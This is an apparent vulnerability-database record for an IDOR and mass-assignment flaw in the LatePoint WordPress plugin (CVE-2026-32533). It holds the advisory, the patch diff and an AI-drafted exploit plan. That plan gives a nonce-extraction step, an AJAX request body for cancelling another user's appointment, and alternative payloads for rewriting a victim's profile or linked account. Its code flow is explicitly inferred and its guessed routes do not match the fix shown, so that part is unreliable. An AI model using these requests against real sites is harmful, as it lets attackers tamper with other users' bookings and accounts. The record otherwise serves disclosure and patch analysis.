[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fbgPTwGS4E4aiYLBI-9QSP7yqMQuBbxPbyeRNRyw8quM":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":32,"research_vulnerable_code":33,"research_fix_diff":34,"research_exploit_outline":35,"research_model_used":36,"research_started_at":37,"research_completed_at":38,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":29,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":29,"source_links":39},"CVE-2026-32533","latepoint-calendar-booking-plugin-for-appointments-and-events-authenticated-subscriber-insecure-direct-object-reference","LatePoint – Calendar Booking Plugin for Appointments and Events \u003C= 5.2.6 - Authenticated (Subscriber+) Insecure Direct Object Reference","The LatePoint – Calendar Booking Plugin for Appointments and Events plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.2.6 due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform unauthorized actions.","latepoint",null,"\u003C=5.2.6","5.2.7","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Authorization Bypass Through User-Controlled Key","2026-03-23 00:00:00","2026-04-02 16:26:18",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fa76a6800-61ae-47e8-9659-47c08535516d?source=api-prod",11,[22,23,24,25,26,27],"CHANGELOG.md","blocks\u002Fbuild\u002Fbook-button\u002Findex.js.map","blocks\u002Fbuild\u002Fbook-form\u002Findex.js.map","blocks\u002Fbuild\u002Fcalendar\u002Findex.js.map","blocks\u002Fbuild\u002Fcustomer-dashboard\u002Findex.js.map","blocks\u002Fbuild\u002Fcustomer-login\u002Findex.js.map","researched",false,3,"# Research Plan: CVE-2026-32533 - LatePoint Insecure Direct Object Reference (IDOR)\n\n## 1. Vulnerability Summary\nThe **LatePoint – Calendar Booking Plugin for Appointments and Events** (up to 5.2.6) is vulnerable to an **Insecure Direct Object Reference (IDOR)**. The vulnerability exists in the plugin's handling of specific AJAX routes where user-controlled identifiers (keys\u002FIDs) are processed without verifying that the requesting authenticated user (Subscriber level or higher) has ownership or authorization for the target object. \n\nAccording to the CVSS vector (CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N), the impact is limited to **Integrity (Low)** with no Confidentiality impact. This strongly suggests the vulnerability allows an attacker to **modify or delete\u002Fcancel** objects (like appointments or customer metadata) belonging to other users, rather than viewing private data.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `wp-admin\u002Fadmin-ajax.php`\n*   **AJAX Action:** `latepoint_route_call` (The primary router for the plugin's internal MVC architecture).\n*   **Vulnerable Parameters:** \n    *   `route`: Likely `appointments__cancel` or `appointments__delete`.\n    *   `params[id]`: The ID of the appointment to be cancelled\u002Fdeleted.\n*   **Authentication:** Subscriber+ (Customer role in LatePoint).\n*   **Preconditions:** \n    *   Plugin must be active.\n    *   An appointment belonging to another user (the victim) must exist.\n    *   The attacker must know or guess the integer ID of the victim's appointment.\n\n## 3. Code Flow (Inferred)\n1.  **Entry Point:** The client sends an AJAX request to `admin-ajax.php` with `action=latepoint_route_call`.\n2.  **Routing:** The main plugin file (or a router class like `LatePoint\\Helpers\\RouterHelper`) receives the request.\n3.  **Action Execution:** The router parses the `route` parameter (e.g., `appointments__cancel`). This maps to the `cancel` method in the `Appointments` controller.\n4.  **The Sink:** Inside the controller (e.g., `lib\u002Fcontrollers\u002Fappointments_controller.php`), the code retrieves the appointment object using `params['id']`.\n5.  **The Flaw:** The code checks if the user is logged in (Authentication) but fails to check if the `customer_id` associated with the fetched appointment matches the `current_user_id` (Authorization).\n6.  **The Action:** The plugin proceeds to update the appointment status to \"cancelled\" or deletes it from the database.\n\n## 4. Nonce Acquisition Strategy\nLatePoint uses nonces for AJAX requests, typically localized in a JavaScript object.\n\n1.  **Create a Trigger Page:** LatePoint usually enqueues its assets on pages containing the booking button or customer dashboard.\n    *   Command: `wp post create --post_type=page --post_status=publish --post_title=\"Dashboard\" --post_content='[latepoint_customer_dashboard]'`\n2.  **Navigate and Extract:**\n    *   Login as a Subscriber (Attacker).\n    *   Navigate to the created page.\n    *   LatePoint nonces are often found in the `latepoint_helper` or `latepoint_booking_form_data` global JS objects.\n    *   **JS Variable:** `latepoint_helper.nonce` or `latepoint_booking_form_data.nonce`.\n3.  **Browser Eval:**\n    *   `browser_eval(\"window.latepoint_helper?.nonce\")`\n\n## 5. Exploitation Strategy\nThe goal is to cancel an appointment belonging to another user.\n\n### Step 1: Identify Victim Appointment\nFor the PoC, we will create a Victim user and an appointment for them using WP-CLI. Note the ID of this appointment.\n\n### Step 2: Authenticate as Attacker\nLogin to the WordPress instance as a Subscriber-level user.\n\n### Step 3: Perform Unauthorized Cancellation\nSend an AJAX request to cancel the victim's appointment.\n\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** `POST`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```\n    action=latepoint_route_call\n    &route=appointments__cancel\n    &latepoint_nonce=\u003CNONCE_OBTAINED_FROM_STEP_4>\n    &params[id]=\u003CVICTIM_APPOINTMENT_ID>\n    &return_format=json\n    ```\n\n## 6. Test Data Setup\n1.  **Victim User:**\n    *   `wp user create victim victim@example.com --role=subscriber --user_pass=password`\n2.  **Attacker User:**\n    *   `wp user create attacker attacker@example.com --role=subscriber --user_pass=password`\n3.  **LatePoint Setup (Simplified):**\n    *   Ensure at least one Service and one Agent exist (required for appointments).\n    *   `wp latepoint create_service --name=\"Test Service\"` (Note: requires actual latepoint CLI or manual DB insertion if CLI is unavailable).\n4.  **Victim Appointment:**\n    *   Create an appointment manually or via WP-CLI\u002FSQL for the victim user.\n    *   `wp db query \"INSERT INTO wp_latepoint_appointments (customer_id, service_id, agent_id, start_date, start_time, end_time, status) VALUES (\u003CVICTIM_ID>, 1, 1, '2026-12-25', 600, 660, 'approved')\"`\n    *   Identify the ID of this inserted row.\n\n## 7. Expected Results\n*   **Response:** The server returns a JSON success message (e.g., `{\"status\": \"success\", \"message\": \"Appointment cancelled\"}`).\n*   **Side Effect:** The appointment in the database with the Victim's ID now has a status of `cancelled`.\n\n## 8. Verification Steps\n1.  Check the status of the appointment using WP-CLI:\n    *   `wp db query \"SELECT status FROM wp_latepoint_appointments WHERE id = \u003CVICTIM_APPOINTMENT_ID>\"`\n2.  Confirm that the status has changed from `approved` to `cancelled`.\n3.  Verify that the Attacker does NOT own this appointment:\n    *   `wp db query \"SELECT customer_id FROM wp_latepoint_appointments WHERE id = \u003CVICTIM_APPOINTMENT_ID>\"` (Should return the Victim's ID, not the Attacker's).\n\n## 9. Alternative Approaches\nIf `appointments__cancel` is properly protected, check other common LatePoint routes for similar IDOR patterns:\n*   **Route:** `customers__update_profile`\n    *   **Payload:** `params[id]=\u003CVICTIM_CUSTOMER_ID>&params[first_name]=Hacked`\n    *   Check if the Attacker can change the name\u002Femail of the Victim customer.\n*   **Route:** `appointments__delete`\n    *   Similar to cancel, but attempts actual removal.\n*   **Route:** `activities__get_latest`\n    *   Check if `params[customer_id]` allows viewing activity logs of other users (unlikely given CVSS \"C:N\", but worth checking).","The LatePoint plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) and Mass Assignment because it fails to verify ownership of booking objects and restrict updateable fields. Authenticated attackers with Subscriber-level access can manipulate booking IDs to access or cancel appointments belonging to other users, or modify sensitive user profile data.","\u002F\u002F lib\u002Fhelpers\u002Fsteps_helper.php (v5.2.6)\npublic static function load_step( $step_code, $format = 'json', $params = [] ) {\n    self::$params = $params;\n\n    $step_code = self::check_step_code_access( $step_code );\n    \u002F\u002F ... No ownership check on params['booking']['id'] before processing ...\n\n---\n\n\u002F\u002F lib\u002Fcontrollers\u002Fcustomers_controller.php (v5.2.6)\npublic function update() {\n    $this->check_nonce( 'edit_customer' );\n    $customer = new OsCustomerModel( $this->params['id'] );\n    if ( $customer->is_new_record() ) {\n        \u002F\u002F ... error handling ...\n    } else {\n        $old_customer_data = $customer->get_data_vars();\n        $customer->set_data( $this->params['customer'] );\n        if ( $customer->save() ) {\n            \u002F\u002F ... success handling ...\n        }\n    }\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flatepoint\u002F5.2.6\u002Flib\u002Fcontrollers\u002Fcustomers_controller.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flatepoint\u002F5.2.7\u002Flib\u002Fcontrollers\u002Fcustomers_controller.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flatepoint\u002F5.2.6\u002Flib\u002Fcontrollers\u002Fcustomers_controller.php\t2025-10-02 07:57:50.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flatepoint\u002F5.2.7\u002Flib\u002Fcontrollers\u002Fcustomers_controller.php\t2026-02-03 06:22:36.000000000 +0000\n@@ -149,7 +149,8 @@\n \t\tpublic function create() {\n \t\t\t$this->check_nonce( 'new_customer' );\n \t\t\t$customer = new OsCustomerModel();\n-\t\t\t$customer->set_data( $this->params['customer'] );\n+\t\t\t\u002F\u002F Security fix: Prevent mass assignment of wordpress_user_id by non-admin users.\n+\t\t\t$customer->set_data( $this->params['customer'], LATEPOINT_PARAMS_SCOPE_PUBLIC );\n \t\t\tif ( $customer->save() ) {\n \t\t\t\t\u002F\u002F translators: %s is the html of a customer edit link\n \t\t\t\t$response_html = sprintf( __( 'Customer Created ID: %s', 'latepoint' ), '\u003Cspan class=\"os-notification-link\" ' . OsCustomerHelper::quick_customer_btn_html( $customer->id ) . '>' . $customer->id . '\u003C\u002Fspan>' );\n@@ -178,7 +179,8 @@\n \t\t\t\t\t$status        = LATEPOINT_STATUS_ERROR;\n \t\t\t\t} else {\n \t\t\t\t\t$old_customer_data = $customer->get_data_vars();\n-\t\t\t\t\t$customer->set_data( $this->params['customer'] );\n+\t\t\t\t\t\u002F\u002F Security fix: Prevent mass assignment of wordpress_user_id by non-admin users.\n+\t\t\t\t\t$customer->set_data( $this->params['customer'], LATEPOINT_PARAMS_SCOPE_PUBLIC );\n \t\t\t\t\tif ( $customer->save() ) {\n \t\t\t\t\t\t\u002F\u002F translators: %s is the html of a customer edit link\n \t\t\t\t\t\t$response_html = sprintf( __( 'Customer Updated ID: %s', 'latepoint' ), '\u003Cspan class=\"os-notification-link\" ' . OsCustomerHelper::quick_customer_btn_html( $customer->id ) . '>' . $customer->id . '\u003C\u002Fspan>' );\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flatepoint\u002F5.2.6\u002Flib\u002Fhelpers\u002Fsteps_helper.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flatepoint\u002F5.2.7\u002Flib\u002Fhelpers\u002Fsteps_helper.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flatepoint\u002F5.2.6\u002Flib\u002Fhelpers\u002Fsteps_helper.php\t2025-10-02 07:57:50.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flatepoint\u002F5.2.7\u002Flib\u002Fhelpers\u002Fsteps_helper.php\t2026-02-03 06:22:36.000000000 +0000\n@@ -467,6 +467,24 @@\n \tpublic static function load_step( $step_code, $format = 'json', $params = [] ) {\n \t\tself::$params = $params;\n \n+\t\t\u002F\u002F Security: If loading existing booking by ID, verify ownership.\n+\t\tif ( ! empty( $params['booking']['id'] ) ) {\n+\t\t\t$booking_to_check = new OsBookingModel( $params['booking']['id'] );\n+\t\t\tif ( ! $booking_to_check->is_new_record() ) {\n+\t\t\t\t$current_customer_id = OsAuthHelper::get_logged_in_customer_id();\n+\t\t\t\tif ( ! $current_customer_id || $booking_to_check->customer_id != $current_customer_id ) {\n+\t\t\t\t\t\u002F\u002F Unauthorized access - return error.\n+\t\t\t\t\twp_send_json(\n+\t\t\t\t\t\tarray(\n+\t\t\t\t\t\t\t'status' => LATEPOINT_STATUS_ERROR,\n+\t\t\t\t\t\t\t'message' => __( 'Not Allowed', 'latepoint' ),\n+\t\t\t\t\t\t)\n+\t\t\t\t\t);\n+\t\t\t\t\treturn;\n+\t\t\t\t}\n+\t\t\t}\n+\t\t}\n+\n \t\t$step_code = self::check_step_code_access( $step_code );","The exploit targets the `latepoint_route_call` AJAX action. An authenticated attacker (Subscriber\u002FCustomer) identifies the ID of a victim's booking or customer profile. By sending a POST request to `wp-admin\u002Fadmin-ajax.php` with `action=latepoint_route_call` and specific parameters, the attacker can manipulate these objects. For IDOR: provide the victim's booking ID in `params[booking][id]` during a booking management step. For Mass Assignment: provide a victim's customer ID in `params[id]` and include sensitive fields like `wordpress_user_id` in the `params[customer]` array to re-link LatePoint profiles to different WordPress users. The attacker must include a valid LatePoint nonce, which is easily extracted from the customer dashboard's JavaScript global variables.","gemini-3-flash-preview","2026-04-18 00:13:42","2026-04-18 00:14:26",{"type":40,"vulnerable_version":41,"fixed_version":11,"vulnerable_browse":42,"vulnerable_zip":43,"fixed_browse":44,"fixed_zip":45,"all_tags":46},"plugin","5.2.6","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flatepoint\u002Ftags\u002F5.2.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Flatepoint.5.2.6.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flatepoint\u002Ftags\u002F5.2.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Flatepoint.5.2.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flatepoint\u002Ftags"]